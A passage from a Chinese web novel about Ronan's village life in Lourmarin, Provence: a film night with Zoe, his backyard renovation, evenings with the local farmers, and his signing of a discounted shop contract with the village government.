罗南耸肩: “谁知道呢?” “早饭马上做好,大家先喝点咖啡吧。”冯珍和罗天海拿着咖啡和杯子出来。 与他们一同出门的,还有一道钢灰色的身影。 马赛飞奔过来,狗眼中闪烁着锐利的光芒。 它对着卡福等人用小奶音不要命的‘汪汪’起来,仿佛在宣誓这里的主权。 有工人蹲下来逗它,马赛叫的更大声了,眼神里尽是凶狠。 “你家狗挺凶啊。”卡福指着在一旁躺着的小黑问,“所以,它叫马赛吗?” 罗南&小黑:“.” “你知道吗,特奥今天见到我,说马赛的叫声在他家都能听到,他还说马赛这么小就知道护主,长大了一定是条‘好狗’,让我一定要好好养它——”罗南苦涩的摇了摇脑袋,对身边的佐伊说,“这就是‘马赛特性’吗?狗都能那么‘狡诈’?把其他人全迷惑住了.” 自从罗南学会了‘午睡’,晚间活动的频率明显增加,今天又是和佐伊出来‘夜游’的日子。 佐说听的哈哈大笑: “马赛太可爱了,我觉得它应该能和‘呼呼’相处成朋友。” 佐伊给宠物起的名字全是两个字的叠名,‘呼呼’正是‘花花公子’的大名。 “呼呼在你家生活的还习惯吗?”罗南好奇的问。 “非常好。”佐伊开心的笑起来,“我在院子里给它建了一个‘豪华’的羊圈,但它不排斥房子,每天都要进来巡视好几次,而且它也很‘护主’,如果有人靠我太近,它会用头把人顶开。” “拿你当‘私有物品’了?”罗南表情复杂的问。 佐伊的脸上洋溢着喜悦的笑容,眼睛微微眯起: “哪有那么夸张。” 罗南调转方向,返回村子里: “去你家,我看看它顶不顶我。” 现在的小动物是怎么回事,一个个的那么有‘心机’了吗? 佐伊轻轻拉了一下罗南: “今天广场放电影我们去看电影吧?” 第149章 普罗旺斯没有害羞的人 佐伊家距离老教堂更近,他们决定先去佐伊家搬椅子。 但去佐伊家要路过老教堂,那里已经有很多等待电影开始的村民,罗南和佐伊一出现就被他们热情的留住。 “我们可以抱着孩子坐,你们坐这里吧。”几个热情的妈妈把第一排最好的位置让出来。 罗南连连摆手: “不了不了,我们去后面坐。” 他不习惯坐在这么显眼的位置。 “快坐下吧!你们年轻人是来看电影的,我们就是来看热闹的。”罗南给全村人带来了太多好玩的东西,大家心甘情愿把最好的位置让给他。 罗南为难的看向佐伊,把决定权交给她。 佐伊对四周说了几句‘谢谢’,率先坐下来。 罗南见状也在她旁边坐下去。 “我以为你跟我一样.不喜欢被‘关注’。”罗南压低声音说。 这个位置太扎眼了,可以被全广场的人轻而易举的观察到。 但他记得佐伊是个‘低调’的人啊,聚会上她都不怎么说话的,一直在努力降低自己的存在感。 佐伊语气的淡淡的说: “你以为我们坐后面就没人看了吗?” 真是个天真的孩子啊. 罗南回头,立马对上几十双眼睛,他尴尬的对大家点了下头,回过头来问佐伊: “以前你自己来的时候,也有这么多人看你吗?” 老酒馆里的农夫们说,在罗南没有来卢尔马兰前,村子里的焦点人物是‘璀璨明珠’佐伊,每次她出去买东西,身边都能跟着好几个孩子。 这个有浓郁艺术气息的漂亮女孩无论是大人还是小孩都很喜欢。 佐伊用手掌撑住下巴: “我没来这里看过电影。” 佐伊的话音刚落,面前大幕布上便出现画面,电影开始了。 四周先是一阵兴奋的骚动,随后马上安静下来。 不过这次布兰科选的电影不太好. 既不是女人们爱看的爱情片,也不是男人们爱看的动作片,是一部名叫《缅因海》的轻喜剧。 电影主要围绕五个人物的互动展开,这些人物包括一位不会说法语的巴西女舞蹈家、一位会说多种语言的律师、两位铁路检票员以及一名墨西哥裔美国制作人,他们在火车上因为误会和沟通障碍而发生冲突,最终在海边聚集,体验了一段短暂而奇妙的旅程。 这并不是一部传统意义上的轻喜剧电影,导演在喜剧的外皮下一直在表达阶级和文化的冲突,而且影片的对白包括法语、法式英语、葡萄牙语等显然这并不是一部‘老少皆宜’的电影。 播了不过半小时,广场里就再次热闹起来。 女人们开始小声聊天,男人们哈哈大笑,孩子们四处乱跑。 “给你,漂亮姐姐!”一个小男孩跑来,给了佐伊一颗桃子。 “谢谢。”佐伊接下来,想摸摸他的头,但那小男孩红着脸闪开,快速跑走了。 “他是害羞了吗?”罗南哭笑不得的说。 上帝,他才几岁? 佐伊抛了一下手里的桃子: “普罗旺斯没有害羞的人,尤其是男人。” 罗南侧头看她: “你说的很有所指啊?” 佐伊把桃子塞到罗南嘴里: “你这么激动干什么?” 你怎么还自己对号入座了? 罗南咬了一口桃,指着幕布说: “这部电影教育我们,千万不要对其他文化产生偏见,会自食恶果的。” “你认真看了?”佐伊惊讶的问。 “当然了”罗南反问,“你没看?” 佐伊撑着脸,摇了摇头: “我今天不是来看电影的。” “嗯?”罗南皱起眉毛。 是你提议来看电影的啊。 佐伊脸上浮现出若有似无的笑容: “勇敢的普罗旺斯女人想通过今天这个活动让村民们停下流言蜚语。” 罗南家一个小小的的皮尔卡丹马桶都能被传出好几个不同版本,村里两个焦点人物的‘绯闻’更是被传的让人‘啼笑皆非’。 她今天故意把罗南带来,把这件事‘做实’了。 佐伊的举动太过突然,罗南完全没有心理准备,嘴里的桃子都忘记了咀嚼,等他想要说点什么,对面那人已捂着嘴笑得前仰后合。 “你也太好玩了。”佐伊把头深深埋了下去,努力控制自己的笑声,不想打扰到个别还在看认真看电影的村民。 等她调整好状态,抬头继续看电影时,面前悬浮了一颗有一个明显牙印的桃子。 罗南目视前方,语气轻快: “挺甜的,尝尝?” 佐伊摁着罗南的手,瞄准位置在那颗牙印上咬了一口,认真品味: “嗯挺甜的。” 罗南开心的合不拢嘴。 佐伊觉得今天的气氛不错,轻轻靠到罗南的胳膊上。 罗南也觉得今天是个好日子,勇敢的把头歪向佐伊那一侧。 “妈妈,他们为什么还不亲嘴?”一个小女孩的声音在二人身后乍现,距离他们绝不会超过10厘米。 两个人吓的同时向另一侧倒去。 随后那小女孩妈妈的声音出现,距离他们更近了: “你们快把眼睛闭上,小孩子们不看,哥哥姐姐就亲嘴了。” 罗南和佐伊同时捂着肚子放声大笑起来。 上帝,普罗旺斯果然没有害羞的人。 广场里的气氛太热闹了,若不是布兰科出现,大家都没有注意到电影播完了。 “电影好看吗?”布兰科笑着问大家。 “罗南哥哥和佐伊姐姐‘演’得更好看!”一个小男孩大声喊道。 整个广场爆发出雷霆一般的笑声。 佐伊尴尬的整理了一下头发。 她的大胆只限于‘调戏’罗南,事实上她也不习惯被这么多双眼睛注视: “下次我们去阿普特看电影吧。” “可以。”罗南点头,“什么时候?” 佐伊的气息打到罗南的耳朵上: “听说有一部叫《恋恋山城》的电影要上映了。” 罗南眼前一亮。 那可是一部法国影坛上非常重要的作品啊。 佐伊继续在罗南耳边说: “我让在阿普特的同学帮我们留意一下上映时间和信息。” “好。”罗南开心的答应下来。 电影结束,布兰科把罗南叫住,让他下周三去一趟卢尔马兰政府,说是商业街的合作终于有结果了。 无论布兰科给的结果如何,罗南一定会在接下来把餐厅开起来,这是已经确定的事情,所以他需要尽快把后院的装修弄完。 卡福的速度无需担心,多库明天要来家里量尺寸,现在进度落后的只有他这里的木作了. 见罗南回家又换了工作的衣服去驴棚,冯珍心疼的说: “休息吧,早一天晚一天没事的。” 罗南这几天不是在地里干活就是去驴棚干活,可心疼坏她了。 罗南笑着对母亲说: “有些事,不抓紧弄完我不放心。” 冯珍回头对罗天海说: “儿子也太拼了。” 罗天海拍了拍小黑的肚皮: “拼是好事,等餐厅开起来,我也要‘拼’了。” “真的假的?”冯珍坐到老公身边,“你都快50了,还拼得动吗?” 罗天海看了一眼院子里灯火通明的驴棚: “我能给儿子拖后腿吗?到时候你就瞧好吧!” 第150章 我们可以交钱来你家喝酒吗? 装修后院的这几天,罗南每天在院子和驴棚两边跑,没有精力顾及其他事情。 于是去村里采购的任务交到了父母的身上。 老两口每天要给20多个人做三顿饭,还要出去买满满一车食材,按理说应该累的不行。 不过神奇的是,他们每天出门脸上都洋溢着开心的笑容。 冯珍把20多根法棍放到后备箱里: “咱们每天采购的食材比你开餐厅时还多。” 这当然是一句玩笑话,但罗天海对此颇有感触: “可花的钱还不到在巴黎的二分之一。” 他和餐饮行业打了一辈子交道,对物价非常敏感。 普罗旺斯的物价非常低,给了他这个在巴黎生活了20几年的人满满的幸福感。 “要不是天气热不好囤放,去集市上买更便宜。”冯珍坐上副驾驶。 她对普罗旺斯的集市文化非常痴迷。 集市上卖的东西既好玩,还便宜,每次回来双手拿满了可能还没有200法郎,这种感觉是在巴黎没有体验过的。 在巴黎,她都不敢出去,因为出去一次的开销太大了。 “还要去买点什么?”冯珍期待的问老公。 买买买,继续买! 罗天海发动车子: “再去樱桃园买点刚摘下来的樱桃吧,才几法郎一公斤,正是最好吃的时候。” “好!”冯珍戴上了她的大墨镜,语气兴奋的像是要去郊游。 在普罗旺斯生活真是太舒适了,买菜都是一件无比幸福的事情。 卡福团队的工作效率没得说。 只用了两天时间就把室外‘会客’区的地面铺好,顶面也基本搭好了。 同时,院子里其他区域的工程也在有条不紊的进行着。 ‘会客’区暂时搭建好,多库就可以来量尺寸了。 不过多库来的时候,比卡福那二十多个人还有气势。 他的大卡车后面跟了二十几个村民。 “罗南,快来看!”特奥在路口碰到罗南,兴奋的号召他加入围观大军,“这个人拉了四根罗马柱来,村里有谁家能放的进去这东西吗?” 卢尔马兰村的建筑都是老房子,房高不会超过3米,而卡车上的每一根柱子都有至少4米高。 政府要翻新卢尔马兰城堡了吗? 罗南拍了拍特奥的肩膀: “你在这我就放心了,这家伙脑子不好使,你帮我看着点他别送错了地方,我回去叫人出来搬东西。” 特奥五官扭曲到一起: “你家的?” 不只是村民们震惊于罗南买了四根罗马柱,罗南的父母也不知道儿子买了这东西。 他们事先已做好分工,家具采买和后期装饰由罗南全权负责,无需告知他们。 老两口相信,儿子一定会把院子‘设计’的非常美丽。 但当多库量完了后院里全部的尺寸,拿着订购单让罗南签字时,冯珍发现那上面足足有二十几样东西。 你这孩子疯了! “等一下!”冯珍又一次用中文叫停了罗南和多库的聊天。 罗天海对多库说了一句‘稍等’后,把罗南拉到稍远的位置,皱着眉毛说: “你怎么订了这么多东西?” 他们可以花钱,但他们不想让罗南花太多钱。 在巴黎,石材是有钱人家才配使用的东西。 罗南给父亲解释: “多库的采石场里有很多原石边角料,可以做庭院装饰。” “买几个意思意思就行了。”罗天海比划了一下订购单的长度,“买那么多石材?” “吕贝隆的石材便宜。”罗南继续给父亲解释。 罗天海苦口婆心的说: “你赚点钱不容易,别都投在院子里,后面花钱的地方还多的是呢。” 罗南把他拉回去,拿过多库手里的订购单,给他和母亲展示: “在普罗旺斯,石材比油毛毡还便宜,我订了这么多家具、石材边角料和四根罗马柱,你们看看这下面的数字。” 罗天海和冯珍把脑袋凑过去: “6600法郎?怎么比工程的费用还便宜?这些可是石材啊.” 罗南快速在订购单上签下名字,用‘抱怨’的语气说: “你们来这么久了,怎么还没适应普罗旺斯的物价啊?” 说完,他去院子里盯着工人安装罗马柱去了。 “臭小子,还埋怨上我们了?”罗天海对着罗南的背影骂了一句。 一扭头,冯珍没了。 他找了一圈,发现冯珍追着多库走了。 “你的采石场在哪里啊?” “你那里还有什么石材的东西?” “有适合放在游泳池里的好看喷水雕塑吗?” 罗天海快步追过去: “冷静一下!即使是‘普罗旺斯物价’也不能这么买啊!” 罗南隔着老远对着母亲喊: “我给你买!想要什么告诉我!!” 见罗天海瞪他,罗南理直气壮的对他说: “别拦着我给我的‘女人’买东西!” 多库和卡福的兄弟们笑得直不起腰。 这真是他们遇到过最有趣的一家人了。 罗马柱的安装很麻烦,再加上罗南还有很多需要安装的木作东西,弄了一天多还没弄完。 罗南一家不着急,但跟着罗马柱跑去罗南家看热闹的村民们着急了 “罗南找的什么工匠啊?那么一点活干了一天还没干完?”特奥拍着桌子嚷嚷,“要是我,几个小时就给他干完了。” “那你去啊。”皮埃尔指着老酒馆的大门说,“反正罗南有钱,他会给你施工费的。” “听说罗南这次要把整个后院都装修了?”法比安笑着说,“他可真是闲不下来啊,上个月装修卫生间,这个装修院子。” 康奈尔喝了一口葡萄酒: “罗南家每次装修都能给全村带来乐趣,珍惜现在这段日子吧,他家马上就要没有可以装修的地方了。” 一想到罗南家那个让他‘魂牵梦绕’的卫生间,特奥就一刻都等不及了,推开椅子站了起来: “不行,我再去看看现在什么进度了。” “天都黑了,谁还干活啊?”皮埃尔对着特奥喊。 特奥头也不回的离开,赌气的说: “没人给他干,我给他干!该死的,我太想看看他要把院子弄成什么样子了。” 康奈尔也站起来跟出去: “那我也去看看,也许那个美丽的女士今晚又去罗南家了呢。” 皮埃尔和法比安互看了一眼: “那就一起去看看?” 几个人走到罗南家门口,意外的看到了亨利。 “你怎么在这里?”康奈尔问。 亨利手里抱着许多鲜花: “罗南先生给我打电话,让我给他送一些花来。” “大晚上要花干什么?”特奥冷笑着说,“是你又来‘讨好’罗南了吧。” 亨利最近不再巴结任何人,每天围着罗南转。 “无知的家伙!”亨利快步绕到罗南家的后院,同时大喊,“罗南先生,你要的鲜花来了。” “快给我拿来,就差鲜花做点缀了。”后院传来罗南喜悦的声音。 “还真是罗南要的?”皮埃尔不禁加快了脚步。 他们绕过了罗南家的石头房子,看到在施工痕迹明显的后院一角,有一处地方亮起了明亮的篝火。 而罗南正在那里小心翼翼的布置亨利带来的鲜花。 看到那地方的瞬间,农夫们不敢置信的抱住脑袋: “该死的!罗南.我们以后可以来你家喝酒吗?交钱的那种!!” 第151章 私人领地,切勿靠近 这片罗马柱区域是罗南的一个突发奇想,它并不是后院的主休闲区,建在用餐区附近,给像佐伊那样不喜欢在餐桌上坐太久的人休息用的,所以占地面积并不大,座位设计的也不多。 皮埃尔这几个大块头一坐进来,完全满了罗南都没有办法舒服的坐着,需要和亨利挤到一起。 “现在已经9点多了,我说你们几个家伙还不回家吗?”罗南苦笑着问。 冯珍和罗天海都是好客的人,给这几个酒鬼送来了酒和新鲜樱桃,有吃有喝这帮人真拿这里当老酒馆了。 不过老酒馆晚上8点也关门了啊 “罗南,我说真的,你家开个‘酒馆’吧?但不能只有粉红酒.”皮埃尔舒服的翘起腿。 这里的环境比乌烟瘴气的老酒馆好一万倍! 除了只有粉红酒这一点不足的地方外.可以用完美来形容。 当然了,在这么优美的环境下喝粉红酒,味道也没那么难以忍受,不过最好再来点别的。 罗南似笑非笑的看他: “等我真卖酒的那天,你这家伙如果不来,我会生气的。” 皮埃尔伸出拇指放到嘴边,其他四根手指合拢,这是本地代表‘喝酒’的手势: “我一定会把你家的酒窖喝空。” 特奥舒服的伸直双腿,双手抱头,眯着眼睛看星空: “我不介意粉红酒,每天喝粉红酒我也愿意。” 上帝啊,罗南家又多了一个让他‘魂牵梦绕’的东西。 卫生间、DS19,现在又多了这个美丽的户外小休闲区. 特奥已做好决定,明天早上天一亮他就要过来帮忙,赶紧把罗南家后院的其他区域弄好。 罗南嘴上说着让他们赶紧回家,但身体还是很诚实的给他们又把酒倒满了: “粉红酒管够。” 累了这么多天,终于迎来了阶段性的‘收获’,和几个好兄弟痛快喝一晚上是最舒服的。 卡比安把手放到篝火前,虽然现在一点不冷,但他看电影里的人都是这样做的: “你是怎么想的?怎么能设计出来一个这么优美舒服的区域还放了篝火和好看的鲜花。” 罗南满意的抬头看了看四周: “其实还没完全弄好,后期会再配一些纱帘,可能只有阿普特才有。” “还没弄完吗?”康奈尔拿着酒杯坐到地上,靠着身后的罗马柱,羡慕的说,“你也太懂浪漫了吧?电影都没有你家好看,以前全卢尔马兰的年轻女孩为你‘疯狂’我还不服气现在完全理解了。” 法比安哈哈大笑着说: “你以为‘艺术家’会随便喂人吃桃子吗?那是被罗南的浪漫征服了!” 罗南不好意思的喝了一口酒: “你们这些家伙越聊越离谱了.” 这就浪漫了? 你们还是见识的太少了。 和只知道喝酒享受的几个懒家伙相比,亨利关心的是更加实际的问题: “罗南先生,你家后院布置的这么好看,以后肯定需要人来维护吧?” 亨利用力拍了拍自己的胸膛: “我可以来,收你最便宜的价格!” 特奥又开始冷笑: “满脑子都是钱.又来找罗南要活干了。” 亨利之前巴结皮埃尔和卢卡斯也是为了让他们多介绍些活儿干。 亨利也冷哼一声: “不想赚钱的人都是傻子!” 特奥不满的嘟囔: “有赚钱的好事儿,我的好兄弟也会先想着我!” 亨利倔强的说: “罗南先生才不会给你这个懒惰的家伙赚钱的机会。” 罗南笑着制止了他们的拌嘴: “别吵别吵,以后肯定少不了麻烦你们的事。” 其他几个农夫同时看过去。 该死的,还真能赚到钱? 罗南又拿起一瓶新的粉红酒: “不过在那之前,你们不要忘记自己的说的话啊,有朝一日我如果卖酒了,你们都要来照顾我的生意。” 不出所料,罗南家刚刚建起一个小角落的后院成了卢尔马兰最新的‘景观’。 每天和卡福的伙计们一起到罗南家上班的,还有村里无数的大人和孩子。 卢尔马兰实在太小了,小到任何消息都藏不住。 卢尔马兰的旅游业发展又太落后了,游客在村里逛两个多小时就能看完所有,当他们见村民都集中去了一个民宅,也好奇的跟过去——结果发现了在卢尔马兰最‘有意思’的一个房子。 “我们可以去里面拍照吗?”几个拿着相机的女大学生期待的问。 亨利凶神恶煞的拦在罗南家门口,指着‘撒旦’亲手写下的告示牌说: “这里是私人领地!” “拍了照就走,绝不过多停留。”其中一个女孩讨好的说。 亨利呲着一口烂牙,口沫横飞的说: “私人领地,不可以参观,你们去别的地方拍照!” 康奈尔笑着走来,礼貌的对几位小姐说: “院子里还在施工,非常危险,我建议你们去一些安全的地方参观,现在是樱桃采摘季,村子附近的樱桃林可以体验亲自采摘的乐趣,我带你们去看看?” 几个女学生依依不舍的看了一眼罗马柱和那个看起来就很舒服的吊床: “好吧。” 康奈尔刚带她们走出去十几米,柏油路的尽头出现一道黄色靓影。 特奥把DS19停到罗南家门口,抱着一小袋番茄下来: “以后不要麻烦你的父母了,我每天帮你买菜。” 罗南从副驾驶上下来,无语的摇头: “这顿饭根本不需要什么番茄.你手痒了可以找个更好的借口。” 特奥嘴硬的说: “你不懂,卢尔马兰特色三明治里必须放番茄。” 那几个女大学生被这辆拉风的黄色敞篷车吸引,再次返回: “哇,它太酷了,可以把它开到葡萄园前,让我们拍张照片吗?敞篷车和葡萄园的奇妙组合!” 特奥像护‘妻子’一样,挡在车前: “这是私人汽车,不是景点。” “就拍一张!”几个女生努力争取。 “不可以!”特奥和亨利少有的统一战线。 游客们的怒火彻底被点燃: “后院不让拍!车子也不让拍!杂志上写的是骗人的东西,这里的居民一点也不热情好客!” “等一等——”罗南想把她们叫住好好解释一下,但女人生起气来不会听男人的任何解释。 “我们要去投诉!去卢尔马兰政府和旅游局投诉!” “这是第几起同样理由的投诉了?”布兰科听完克劳德的描述,哭笑不得的问。 旅游城市和村庄,每天都会收到各种各样的投诉.这并不是什么稀奇的事情。 稀奇的是,最近在卢尔马兰出现了一个新的投诉理由。 继村民申请摊位的理由扎堆填写‘罗南’后,客诉理由上也开始出现了这个名字。 这也太神奇了吧? 克劳德在卢尔马兰旅游中心干了十几年,从来没见过这么离谱的事: “这周的第三起了,全部是因为罗南家不让参观产生的投诉。” “罗南.又是罗南。”希尔维笑着用笔敲桌子,“暑期临近,这两周集市人流量明显提升,罗南的摊位前开始排起了长队,我们安排了一个专职工作人员每周帮他维持秩序。” 她得意的看向大家: “这是我从梅纳村的失败教训里总结出的经验,上上周梅纳村的集市上,罗南的摊位前因为排队太长阻挡了其他摊主做生意,产生了一场小小的‘冲突’,在卢尔马兰不允许出现同样的错误。” “我听和罗南熟悉的农夫讲,罗南最近在集市上的收入又增加了。” “这个消息我也听到了,而且听到这个消息的村民还不少,集市申请依然火爆。” 布兰科笑着双手合十。 罗南真是卢尔马兰的幸运物啊。 最近只要在会议上出现他的名字,后面肯定会跟着好消息。 全场只有克劳德一脸愁容: “村长,关于罗南的客诉.” 别笑了,看看我啊! 我们旅游管理中心才是卢尔马兰最重要的业务! 布兰科的食指在桌子上有节奏的敲击起来: “这只是暂时的,罗南会‘设计’,也会‘改装’,那就让他去弄一个可以让游客们去参观和拍照的地方,一个真正的‘景点’。” 希尔维眼前一亮,期待的看向布兰科: “罗南说的那个‘提议’通过了?” 商业街项目是政府占地,政府占地转让是非常复杂和麻烦的一件事情,布兰科都不一定能做主,要拉着许多职能部门一起讨论。 大家以为让罗南在商业街开餐厅的事情已经‘凶多吉少’了呢. 布兰科郑重的点了点头: “是的,终于有结论了,政府决定不惜余力的支持和推动卢尔马兰旅游事业发展,买卖也许是一种更加吸引人的手段,我们会根据不同摊主的需求,向他们提供不同的合作形式。” “那给罗南的合作形式是?”大家好奇的看过去。 布兰科微笑着说: “我约了罗南来卢尔马兰政府聊这件事,如果你们感兴趣就一起来听听吧。” 周三,罗南如约去卢尔马兰政府见布兰科。 这是他第二次来政府办公楼,上次来是来办理摊位申请。 罗南被工作人员引到一个会议室里。 一推门,吓得他差点关门回去。 上帝啊,怎么会有这么多人? 这十几个人都是来和他‘谈判’的? 第152章 抱大腿! 罗南装作波澜不惊的进入会议室,实则心里完全没有底,内心涌现出无数纷乱的想法: 布兰科叫了这么多帮手来,不会是为了和我‘讨价还价’吧? 还是他们想要‘仗势欺人’,逼着我同意下来什么东西? 又或者要针对近期的那些游客‘投诉’对我问责? 失误了。 应该带几个彪形大汉来撑场子. 他找了个位置坐下来,同时不停的在心中告诫自己: 不要着急,也不要心虚,有本事在身,在哪里开餐厅都可以。 卢尔马兰这里走不通,就去别的村。 不一定非要给卢尔马兰‘卖命’! 布兰科一如既往的和蔼,笑着对罗南说: “抱歉,拖了这么久才给你消息。” 罗南淡淡的笑了一下: “理解,这确实不是一件小事。” 布兰科指着身边的同事们说: “商业街是卢尔马兰各个部门都非常关心的项目,所以各个部门的同事也都来了。” 罗南‘如临大敌’的点了下头,没有说什么。 无论你们打的是什么主意,放马过来吧! 布兰科打开面前的笔记本,郑重的说: “经过内部多轮协商和评估,我们可以同意你的‘合作方式’,政府将对外开放‘商业街’的购买权,不只是对你开放,所有人都可以买那里的商铺。” ‘为什么不同意’已经到了罗南嘴边,又被他生生咽了下去。 嗯? 同意了? 布兰科的回复太过出乎罗南的意料,以至于他没有给出任何反应。 布兰科在心里默默夸了一句: ‘果然是能干大事的家伙,喜形完全不于色,我当时得知这个消息都兴奋的拍了下手!卢尔马兰的未来有希望了!’ 布兰科按耐住心中的欣喜,继续介绍政府的最终决定: “不过我们要约定几档‘租期’,签订不同租期会导致最终的房屋‘购买价格’不同。” 罗南又开始紧张起来。 他拿不准政府是真的同意,还是假的同意。 这些人迫切的想要让他在这里开个餐厅,做出一些迷惑性的行为也不是没有可能。 不会把租期拉长到十几二十年吧? 拖到我儿子结婚,才能把所有权转到我的手里? “分别是哪几档?”罗南平静的问。 “3年、5年和10年,再长也没有意义了。”布兰科笑着耸肩,“那么多年都没有激活‘购买权’,说明店铺没有赚钱,那还有什么继续经营的意义?可以换一个店主了。” 罗南有些意外。 租期设置的还算合理. 他问出了最关心的问题: “不同租期的购买价格分别是多少?” 布兰科继续翻动他的笔记本,既是给罗南介绍,也是给身边的同事介绍,语速缓慢但很清晰的说: “商业街在未来会向店主提供两种合作方式,一种是直接购买,售价是此时市价的8.5折;另一种是先租后买,在租赁的期限内可随时激活‘购买权’,其中3年租期的购买价是激活条款当月市价的8.5折、5年租期的购买价是激活条款当月市价的9折、10年租期购买价是激活条款当月市价的9.5折,租期内所交的除管理费、维护费和保险费用外其余款项可抵房款。” 布兰科抬头对罗南笑着说: “不过你没有可以抵房款的部分了,我给你的是成本价。” 罗南完全无法回应布兰科的笑容,他的表情变得无比凝重. 他昨天才去问了路易现在卢尔马兰的市价。 现在每平米占地价在1600法郎左右,即使打了8折也很贵啊.依然是他买不起的房子。 似乎听到了罗南的心声,布兰科帮他报出了那栋楼王的数据: “商业街上位置最好的那栋楼,建筑主体占地面积140平米,后院218平米。” 罗南靠到椅背上,尴尬的摸起额头: “即使现在直接买,打折后也要40多万法郎。” 三年后可能要50万?或者60万? 总之普罗旺斯的房价每年都在涨。 这个‘漏’完全捡不上啊.太贵了! 布兰科把笔记本合上,看向罗南问: “怎么样?” 罗南苦笑着回: “什么怎么样?” 布兰科笑着平摊双手: “这个合作怎么样?” 罗南连连摇头: “太贵了,布兰科,我恐怕这个价格放出去会把村民们吓死,他们一辈子都赚不到这么多钱,我承认这个价格符合市场行情但有能力来普罗旺斯按照市场价买房子的都是外面的有钱人,不是本地人。” 布兰科欢快的笑起来: “那不如再让村民听听政府的‘补贴计划’?” 他要的就是这个效果。 直接把底牌交出去,对方不一定会觉得‘实惠’,需要一些小小的‘谈判’策略。 “补贴计划?”罗南的眼睛里重现生机。 这不是最终价格? 还能便宜? 布兰科又打开了他的笔记本: “我说过,政府从未想过通过买卖或者租赁那片地回收成本,我们的目标是在未来尽可能多的带动卢尔马兰的经济增长,所每一栋建筑里会有很多的‘赠送面积’.不过这个政策仅限本地村民。” 罗南刚刚重燃的生机再次熄灭. 他丧气的指着自己说: “可我不是本地村民。” 法国没有‘户口本’,但有严格的户籍制度。 罗南的户籍还在巴黎.他一直没有迁过来。 你跟我说和我没有关系的政策,是想让我气的去撞墙吗? 布兰科停下介绍,笑容灿烂的说: “是否是‘本地村民’的判断标准,由当地政府决定。” 罗南瞪大眼睛。 短短一分钟内,他的心情像坐过山车一样起起伏伏的。 布兰科问身边的希尔维: “你认为罗南是卢尔马兰本地村民吗?” 希尔维忸怩的甩了下头发,夹着嗓子说: “还有比他更卢尔马兰的卢尔马兰村民吗?” 布兰科又问克劳德: “你觉得呢?” 克劳德对罗南投去一个友好的笑容: “那些游客举报的时候是拿他当‘本地村民’对待的,我觉得很难让罗南和卢尔马兰抛开关系了吧?” 布兰科又问了几个人,大家全都善意满满的肯定了罗南卢尔马兰村民的身份。 布兰科问完所有人,笑着看罗南: “自从听到你对着记者们说‘我爱卢尔马兰’那一刻起,我就把你当作是这个村子里的一份子了,那和市政系统里写的信息没有关系,罗南,请你记住,卢尔马兰也很爱你” 罗南给卢尔马兰带了太多太多‘生机’。 他毫无疑问是村子里贡献最多的那一个。 这还不能代表一切吗? 罗南既激动又感动,不停的对大家说着感谢的话。 布兰科把话题拉回来,语气欢快的说: “那看看作为卢尔马兰本地村民的你,可以享受到什么政策吧那栋房子的院子部分将全部作为‘赠送面积’。” 这次罗南彻底不淡定了,双手攥住了椅子。 218平米可以看到吕贝隆山景和卢尔马兰城堡的大院子送了? 旁边马上有人给罗南算出了具体数字。 “所以那栋楼按照这个月市价8.5折后的价格是——19万法郎左右。” 罗南陷入了巨大的喜悦之中。 19万在吕贝隆其他地区只可以买一个茅草屋。 这个价格再不买就是大傻子了! 我爱卢尔马兰! “下面是第二项‘政府补贴政策’。”布兰科继续翻起他的笔记本。 罗南前倾身体,不敢置信的问布兰科: “你们到底想出了多少项‘补贴政策’?” 布兰科自嘲的笑了笑: “很多很多,我们真心希望本村村民能加入到这个项目里来,未来卢尔马兰一定会发生质的飞跃,为什么要把财富留给外村人呢?我们希望政府的‘诚意’,能给村民们带来信心。” 罗南的复杂的看向这一屋子或熟悉或陌生的人。 他似乎知道卢尔马兰未来在普罗旺斯旅游业‘大升级’中实现‘弯道超车’的原因了. “你们一定会成功的。”罗南坚定的说。 罗南的心情在起起伏伏后,开启了起起起起的模式。 布兰科又一连说了三四个政策,都是很让人难以抗拒的。 卢尔马兰政府拿出了他们的全部诚意,罗南自然也拿出了他的诚意。 当天,他便和政府签下了卢尔马兰商业街项目的第一个合同。 罗南选择的租期是3年。 3年租期内,他可以随时激活‘购买条款’,按照当时市价的8.5折购买那栋建筑。 同时,卢尔马兰政府还给罗南提供了一份1万法郎的‘装修基金’,以激励罗南装修出一个像景点一样的漂亮餐厅。 那栋楼预计在7月底到8月初交房,这份基金也将在那前后发到罗南的手里。 罗南进政府的时候两手空空,出来的时候拿了一个厚厚的文件夹,路上好多村民问罗南那是什么。 “合同。” “什么合同?” “商业街的合同。” “啊?你要去商业街上开店了?” “是的,我要在那里开一个餐厅。” “你疯了?!商业街是政府骗人的手段,你怎么能相信他们说的话呢?” 罗南抱着合同,若有所思的回看身后的卢尔马兰政府: “骗人的手段?这明明是致富的‘阶梯’。” 这颗粗壮的大腿,他抱定了! 第153章 卢尔马兰最好的‘发言人\’ 罗南要在商业街开餐厅的消息像是一只插上翅膀的小鸟,用最快的速度飞入卢尔马兰的家家户户。 当然,这离不开政府的‘帮助’。 他们在大肆宣传商业街各项补贴的同时,也把罗南‘痛快’签约的消息传播了出去——当天沟通当天签约,而且还订下了整条街上最大、最好的商铺。 “村民可以不相信我们,但他们不会不相信罗南.”布兰科安心办公,丝毫不再为此事担心,“谁是村子里生活的最幸福的人、谁又是眼光最‘独到’的那一个,一双双雪亮的眼睛都看着呢。” “需要我去‘嘱托’罗南一些话吗?”希尔维是本次‘商业街’项目的负责人。 既然罗南这么重要,他的态度太关键了 需要让他帮我们一起号召村民! 布兰科笑着说: “罗南是个机灵的小伙子,他比你想的还要聪明.放轻松吧希尔维,我们很快就能听到好消息了。” 罗南只是告诉父母他把商业街的合同签了,没说里面还有一条可以‘购买’的条款,怕给父母带来不必要的压力。 没成想,罗天海还是‘拼’起来了。 爷俩浅聊了一次餐厅的主题,很快达成一致,肯定要开中国餐厅。 普罗旺斯的餐厅千千万,这是他们唯一可以做出‘特色’的东西。 分工随即也定了下来,内部一切需要经营的事情由罗天海负责,罗南负责给罗天海定下来的菜单做‘融合改良’、装修和所有外部宣传工作。 罗南所负责的部分现在开展不了,至少要等房子交下来才能开始。 但罗天海从罗南签合同那天就开始准备起来了,四处了解普罗旺斯的供应商情况、比价、试菜.每天忙到不行。 院子里卡福的伙计们叮叮咣咣的干活,屋里罗天海哒哒哒哒的切菜、煎炒烹炸,好不热闹,就是有点费耳朵。 最近几天,罗南在葡萄园里呆着的时间变长了。 绝不是嫌家里乱啊 他只是在认真计算,今年这8亩地的产量能有多少。 春夏交接时,葡萄园里的花开了。 